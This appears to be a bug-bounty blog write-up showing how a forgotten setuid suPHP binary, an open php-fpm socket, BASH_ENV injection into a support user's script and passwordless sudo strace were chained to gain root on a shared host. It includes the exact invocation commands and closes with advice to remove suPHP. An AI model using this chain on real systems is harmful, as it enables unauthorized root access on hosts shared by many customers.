September 21, 2020

suPHP - The vulnerable ghost in your shell

In this article we will showcase how we used a long forgotten binary to gain root access on the machine, as part of a bug bounty program. No kitties were harmed in the making of this article.

A blast from the past

suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.

The latest version of suPHP (0.7.2) was released in 2013 to patch a security vulnerability. A community fork was started at lightsey/mod_suphp, though no releases were created.

suPHP used to be a major component of shared hosting providers and was based on the fact that a customer shouldn’t be able to read/modify other customer files.

The permissions on the main binary (/usr/sbin/suphp) are as follows:

  • root (the user) owns this file and can read (r) and write (w) it. The setuid flag is also present (s).
  • nobody (the group) can read (r) and execute (x) this binary.
  • no one else can read, write, or invoke suPHP.

The suPHP configuration file living at /etc/suphp.conf controls how paranoid suPHP should be before executing scripts.

Let’s start with the most restrictive ones:

; Security options
allow_file_group_writeable=false
allow_file_others_writeable=false
allow_directory_group_writeable=false
allow_directory_others_writeable=false

These four options are there to prevent script execution from a file or directory that is writeable by a large set of users, as that would allow anyone to run custom scripts.

; Minimum UID
min_uid=100

; Minimum GID
min_gid=100

suPHP uses the file ownership information to determine who is running the binary. The min_{g,u}id option prevents malicious users from running most Linux binaries which are (conveniently) owned by root. Being able to just run /bin/bash as root would have made our task much easier… :-)

suPHP will refuse to execute scripts that are not in the docroot directory. In our case, it was set to / (having it set to /home/ wouldn’t have helped much).

Finally, at compile time it is possible to enable the PARANOID mode. When enabled, the web server tells suPHP which user is expected to be the owner. In case of a mismatch, suPHP exits with an error message.

The configuration file goes on to define a list of supported handlers, which the webserver picks - this is how one Apache instance was backed by multiple PHP versions:

[handlers]
;Handler for php-scripts
x-httpd-php="php:/usr/bin/php"

;Handler for CGI-scripts
x-suphp-cgi="execute:!self"

The php handlers invoke PHP and only support loading .php files. The x-suphp-cgi handler is magic and will run any file with the +x flag set. This handler doesn’t let us specific command line arguments, but we can override the environment variables that aren’t one of:

  • LD_PRELOAD
  • LD_LIBRARY_PATH
  • PHPRC

and more suPHP specific variables.

Fellow infosec engineers will recognize these variables are commonly (ab)used to inject code into setuid binaries; but not today!

Not today, satan!

source

À l’attaque

We started with a regular Linux user on a shared web hosting platform. A lot of daemons try to reduce their footprint by running as the (presumed!) unprivileged user nobody. In our case, we found a UNIX socket for php-fpm with the o+w permission (ie. we can send requests through it and execute arbitrary PHP code). We were able to downgrade our UID/GID to nobody`.

Using our new privileges, we can now invoke suPHP as follows:

SUPHP_HANDLER=x-suphp-cgi \
SUPHP_USER=user \
SUPHP_GROUP=group \
SCRIPT_FILENAME=/tmp/hello \
DOCUMENT_ROOT=/ \
/sbin/suphp

suPHP being meant to be invoked by Apache as a CGI, environment variables are used to pass options. We used a handler defined in the configuration file (x-suphp-cgi), filled SCRIPT_FILENAME with the command we want to execute, set SUPHP_{USER,GROUP} with a value matching the ownership information for this binary, so suPHP won’t reject it.

We confirmed nobody could run binaries as our user by creating a hello world executable at /tmp/hello and having suPHP execute it. It worked!

Finding an executable file to run

Now, we would like to gain new privileges. Let’s start by looking at the list of users we can target using getent:

nobody@my-party# getent passwd | awk -F: '$3 > 100 {print $1}'
serviceA
serviceB
serviceC
[..snip..]
supportA
supportB
supportC
[..snip..]
customerA
customerB
customerZ
[..snip..]

Note: the names were replaced with dummy values.

From this we learned that we can try to run commands as a service, as a support user or as a customer. Support users are intended to be able to troubleshoot issues on company services, and are most likely to be able to execute commands as root - which make them an interesting target for us.

Using more CLI magic, we try to find executable files that are owned by each service or support person:

nobody@my-party# find / -user serviceA -executable -exec ls -ldb {} \; 2>/dev/null
[..snip..]

With no luck, which was to be expected as we can’t list the files contained in support-users’ home directories.

Using a bit of brute force, digging through the /var/log journals, and a bit of luck; we found a script in a support person’s home, written using bash. And that’s okay, we only need one!

Injecting code into the process

All that’s left for us is to inject our own code into this process running as someone else. This is actually easier to do than it sounds, and if you read the formidable documentation of bash you’ll find the following paragraph:

When bash is started non-interactively, to run a shell script, for example, it looks for the variable BASH_ENV in the environment, expands its value if it appears there, and uses the expanded value as the name of a file to read and execute. Bash behaves as if the following command were executed: if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi but the value of the PATH variable is not used to search for the file name.

We created a bash script in /tmp/pwn.sh, as a proof-of-concept:

$ /tmp/pwn.sh
id >> /tmp/knock-knock

We prepend our suPHP invocation with BASH_ENV=/tmp/pwn.sh, provided the script to execute - and it worked! We can now run code as this user! Here is the final incantation, performed over FastCGI:

BASH_ENV=/tmp/pwn.sh \
SUPHP_HANDLER=x-suphp-cgi \
SUPHP_USER=user \
SUPHP_GROUP=group \
SCRIPT_FILENAME=/home/supportA/myawesomescript.sh \
DOCUMENT_ROOT=/ \
/sbin/suphp

Privilege escalation

As we expected, we ran sudo -l and noticed that our new identity was able to run commands like gdb, strace, tail with the highest level of privileges and without having to provide a password.

The final privilege escalation is easy then as pie:

$ sudo -u root strace -o /dev/null /bin/id
uid=0(root) gid=0(root) groups=0(root)

Conclusion

While a fork is still maintained on GitHub, there isn’t really any reason to keep using suPHP in 2020. PHP-FPM can be configured with UID-isolated pools of processes, completely avoiding the risk of running code as an unintended user.

In our case study, suPHP was only a residue of previous deployments and was not necessary anymore. If you don’t use it, remove it!

Copyright © 2020 vulnerable.af